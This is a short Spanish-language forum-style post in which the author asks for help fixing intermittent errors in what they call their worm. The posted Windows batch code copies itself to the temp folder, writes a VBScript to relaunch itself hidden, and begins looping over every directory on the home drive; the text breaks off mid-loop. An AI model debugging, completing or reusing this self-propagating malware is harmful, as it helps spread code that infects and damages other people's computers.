el code me da error a veces y a veces funciona, y no se por que
porfavor ayudenme:   

code de mi gusano:

@echo off
set a=%~nx0
set b=%a: =_%
Cd %temp%
copy /y "%~0" "%b%" 1>nul 2>&1
if "%1"=="x" (GoTo:code) else (
call:a>vbs.vbs
start vbs.vbs&exit /b
)
:a
echo SET a=CreateObject^("WScript.Shell"^)
echo a.Run "%b% x",vbHide
GoTo:EoF
:code
cd %HomeDrive%\
for /f "tokens=*" %%x in ('dir /b /s /a:D %HomeDrive%\') do (